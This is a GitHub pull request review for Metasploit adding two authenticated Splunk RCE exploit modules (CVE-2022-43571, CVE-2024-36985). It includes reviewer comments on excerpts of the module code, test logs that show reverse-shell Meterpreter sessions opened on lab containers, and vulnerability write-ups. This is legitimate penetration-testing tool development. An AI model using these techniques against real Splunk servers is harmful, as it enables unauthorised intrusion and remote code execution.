-
Notifications
You must be signed in to change notification settings - Fork 14.7k
Add Splunk RCE Exploits (CVE-2022-43571 & CVE-2024-36985) #20770
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
base: master
Are you sure you want to change the base?
Conversation
|
There are a few problems:
|
jheysel-r7
left a comment
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Thanks for the modules and library additions @vognik! Both look great and are working as expected. A couple suggestions.
Testing
msf exploit(linux/http/splunk_auth_rce_cve_2024_36985) > set rhosts 127.0.0.1
rhosts => 127.0.0.1
set msf exploit(linux/http/splunk_auth_rce_cve_2024_36985) > set password password123
password => password123
msf exploit(linux/http/splunk_auth_rce_cve_2024_36985) > set rport 8000
rport => 8000
msf exploit(linux/http/splunk_auth_rce_cve_2024_36985) > set forceexploit true
forceexploit => true
msf exploit(linux/http/splunk_auth_rce_cve_2024_36985) > run
[*] Started reverse TCP handler on 192.168.1.68:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] SUCCESSFUL LOGIN. 'admin' : 'password123'
[!] The target is not exploitable. Non-vulnerable version found: 8.2.4 ForceExploit is enabled, proceeding with exploitation.
[*] Sending sudobash create request...
[+] sudobash create request has been sent!
[*] Sleep for 3 seconds before it is dropped on the filesystem...
[+] Sleep Completed
[*] Sending trigger exploit request...
[*] Sending stage (3090404 bytes) to 192.168.1.68
[*] Meterpreter session 1 opened (192.168.1.68:4444 -> 192.168.1.68:56797) at 2026-01-05 08:53:27 -0800
meterpreter > getuid
Server username: splunk
meterpreter > sysinfo
Computer : 172.17.0.2
OS : Red Hat Enterprise Linux 8 (Linux 6.12.54-linuxkit)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter >
msf exploit(multi/http/splunk_auth_rce_cve_2022_43571) > run
[*] Started reverse TCP handler on 172.16.199.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] SUCCESSFUL LOGIN. 'admin' : 'password123'
[+] The target appears to be vulnerable. Exploitable version found: 8.2.4
[*] Sending stage (23408 bytes) to 172.16.199.1
[-] Meterpreter session 2 is not valid and will be closed
[*] Sending stage (23408 bytes) to 172.16.199.1
[*] 127.0.0.1 - Meterpreter session 2 closed.
[*] Meterpreter session 3 opened (172.16.199.1:4444 -> 172.16.199.1:58958) at 2026-01-05 10:37:36 -0800
meterpreter > getuid
Server username: splunk
meterpreter > sysinfio
[-] Unknown command: sysinfio. Did you mean sysinfo? Run the help command for more details.
meterpreter > sysinfo
Computer : 53f620d861ee
OS : Linux 6.12.54-linuxkit #1 SMP PREEMPT_DYNAMIC Tue Nov 4 21:39:03 UTC 2025
Architecture : x64
System Language : C
Meterpreter : python/linux
meterpreter >
| apps = {} | ||
| vars_get = {} | ||
|
|
||
| loop do |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Would it be better to use Metasploit's retry_until_truthy or some type of loop that has a definitive end just in case?
| def retry_until_truthy(timeout:) |
| # @param cookie [String] Valid admin's cookie | ||
| # @return [Rex::Proto::Http::Response] HTTP response object | ||
| def create_dashboard(namespace, name, template, cookie) | ||
| csrf = extract_csrf_token(cookie) |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Would it be worth it to check to see if csrf is nil here before using it send_request_cgi?
Just curious, this comment would apply to a number of places in this PR, I noticed extracted_csrf_token can return nil but the return value is never checked before being used.
| return nil | ||
| end | ||
|
|
||
| version = splunkd_partials.dig('/services/server/info', 'entry', 0, 'content', 'version') |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
| version = splunkd_partials.dig('/services/server/info', 'entry', 0, 'content', 'version') | |
| version = splunkd_partials.dig('/services/server/info', 'entry', 0, 'content', 'version') | |
| return nil unless version |
| [ | ||
| OptString.new('TARGETURI', [true, 'Path to the Splunk App', '/']), | ||
| OptString.new('USERNAME', [ true, 'The username with admin role to authenticate as', 'admin' ]), | ||
| OptString.new('PASSWORD', [ true, 'The password for the specified username', 'changeme' ]), |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I know this is used elsewhere in the code base however I think the preferred way is to leave the default blank with required set to true. In the event the operator doesn't set the password, the framework notifies them, instead of the module running against the target with the password set to changeme.
| OptString.new('PASSWORD', [ true, 'The password for the specified username', 'changeme' ]), | |
| OptString.new('PASSWORD', [ true, 'The password for the specified username']), |
| def check | ||
| @cookie = splunk_login(datastore['USERNAME'], datastore['password']) | ||
| version = splunk_home_version(@cookie) | ||
| if version.between?(Rex::Version.new('9.0.0'), Rex::Version.new('9.0.9')) || |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
The doc descriptions says "The affected versions include any release prior to 9.0.10"
| if version.between?(Rex::Version.new('9.0.0'), Rex::Version.new('9.0.9')) || | |
| if version <= Rex::Version.new('9.0.9')) || |
| "env.#{env_name}" => payload | ||
| } | ||
| } | ||
| }.to_json.to_json |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Is this double encode intentional? If so, could you add a brief comment explaining why
| print_good('sudobash create request has been sent!') | ||
|
|
||
| print_status('Sleep for 3 seconds before it is dropped on the filesystem...') | ||
| Rex::ThreadSafe.sleep(3) |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Could you make the sleep time a configurable datastore option please?
| dash_template.gsub(/^\s+/, '') | ||
| end | ||
|
|
||
| def cleanup |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
| def cleanup | |
| def cleanup | |
| super |
| rescue StandardError | ||
| nil |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Would this be more beneficial to the operator?
| rescue StandardError | |
| nil | |
| rescue Msf::Exploit::Failed | |
| print_warning("Module failed to delete the dashboard, \"#{@dash_name}\", which was created by the exploit") |
|
|
||
| def exploit | ||
| if @cookie.nil? | ||
| @cookie = splunk_login(datastore['USERNAME'], datastore['password']) |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Nit pick - would you be able to capitalize instances of datastore['password'] across these two modules for consistency?
| @cookie = splunk_login(datastore['USERNAME'], datastore['password']) | |
| @cookie = splunk_login(datastore['USERNAME'], datastore['PASSWORD']) |
CVE-2022-43571
Vulnerability Details
This Metasploit module exploits a Remote Code Execution (RCE) vulnerability in Splunk Enterprise.
An attacker can inject arbitrary Python code into style parameters, such as the
fillColororlineColorof a sparkline element within a Splunk SimpleXML dashboard.The malicious code is executed when a user triggers the PDF export function for the dashboard.
The affected versions include any release prior to 8.1.12, as well as versions 8.2.0 through 8.2.9 and 9.0.0 through 9.0.2.
Module Information
Module path:
modules/exploits/multi/http/splunk_auth_rce_cve_2022_43571.rbPlatform:
Linux/Unix/WindowsReferences
Test Output
Linux
Windows
CVE-2024-36985
Vulnerability Details
This Metasploit module exploits a Remote Code Execution (RCE) vulnerability in Splunk Enterprise (splunk_archiver application).
The flaw is rooted in the unsafe use of a Splunk lookup function, specifically
| copybuckets, within the splunk_archiver application, which ultimately leads to the execution of the helper script sudobash with attacker-controlled arguments.The affected versions include any release prior to 9.0.10, as well as versions 9.1.2 through 9.1.5 and 9.2.0 through 9.2.2.
Module Information
Module path:
modules/exploits/linux/http/splunk_auth_rce_cve_2024_36985.rbPlatform:
Linux/UnixReferences
Test Output